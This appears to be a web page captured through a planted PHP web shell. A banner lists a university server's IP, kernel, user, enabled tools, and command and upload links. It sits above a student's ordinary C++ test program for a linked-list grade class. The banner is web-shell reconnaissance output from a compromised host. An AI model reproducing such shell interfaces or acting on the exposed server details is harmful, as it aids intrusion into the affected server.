Server IP : 172.16.15.8 / Your IP : 18.117.145.67 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/bafreeman/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// gradelnklistclient - client to test studgradelnklist class #include <iostream> #include "studgradelnklist_Ben_F.cpp" using namespace std; int main() { GradeList mygrades; float avg0, avg, avg2; int a, b, c; cout << "\n-- Display before anything has been inputted: --"; mygrades.Display(); cout << "\n--Calculate Average before anything is inputted: --"; avg0 = mygrades.CalculateAvg(); cout << "Average: " << avg0 << "\n\n"; cout << "-- Input the grades of 100, 70, 75, 92, 75, 70, 75,"; cout << " 88, 99, and 99 in that order. --"; mygrades.InsertGrade(100); mygrades.InsertGrade(70); mygrades.InsertGrade(75); mygrades.InsertGrade(92); mygrades.InsertGrade(75); mygrades.InsertGrade(70); mygrades.InsertGrade(75); mygrades.InsertGrade(88); mygrades.InsertGrade(99); mygrades.InsertGrade(99); cout << "\n\n-- Output the number of 70s found. --"; a = mygrades.HowManyofGrade(70); cout << "\n\nYou have " << a; cout << " grades of value '70' in your list.\n\n"; cout << "\n\n-- Output the number of 75s found. --"; a = mygrades.HowManyofGrade(75); cout << "\n\nYou have " << a; cout << " grades of value '75' in your list.\n\n"; cout << "\n\n-- Output the number of 100s found. --"; a = mygrades.HowManyofGrade(100); cout << "\n\nYou have " << a; cout << " grades of value '100' in your list.\n\n"; cout << "\n\n-- Output the full table of the grades. --"; mygrades.Display(); cout << "\n\n-- Drop the Lowest grade (which is a 70). --"; mygrades.DropLowestGrade(); cout << "\n\n-- Output the new table of grades. --"; mygrades.Display(); cout << "\n\n-- Delete the grades 100, 75, 92, 75, and 75. --"; mygrades.DeleteGrade(100); mygrades.DeleteGrade(75); mygrades.DeleteGrade(92); mygrades.DeleteGrade(75); mygrades.DeleteGrade(75); cout << "\n\n-- Output the new table of grades. --"; mygrades.Display(); avg = mygrades.CalculateAvg(); cout << "\nMy average is: " << avg << "\n"; cout << "\n\n-- Delete the grades 88, 99, and 99. --"; mygrades.DeleteGrade(88); mygrades.DeleteGrade(99); mygrades.DeleteGrade(99); cout << "\n\n-- Display the new table of grades. --"; mygrades.Display(); cout << "\n\n-- Drop the lowest grade (even if it's the last). --"; mygrades.DropLowestGrade(); cout << "\n\n--Display the table after dropping lowest.--\n\n"; mygrades.Display(); cout << "\n\n--Insert the grade of 45.--\n\n"; mygrades.InsertGrade(45); cout << "\n\n--Display the table.--\n\n"; mygrades.Display(); cout << "\n\n--Delete last grade (45).--\n\n"; mygrades.DeleteGrade(45); cout << "\n\n-- Display the table if empty. --"; mygrades.Display(); cout << "\n\n-- Calculate the Average of empty table. --"; avg2 = mygrades.CalculateAvg(); cout << "\nMy average is: " << avg2 << "\n"; cout << "\n\n-- Output number of 23s found in empty table. --"; b = mygrades.HowManyofGrade(23); cout << "You have " << b; cout << " grades of value '23' in your list.\n\n"; cout << "\n\n-- Delete the grade 23 even though the table's empty. --"; mygrades.DeleteGrade(23); cout << "\n\n-- Drop the Lowest grade when the list is empty. --"; mygrades.DropLowestGrade(); return 0; }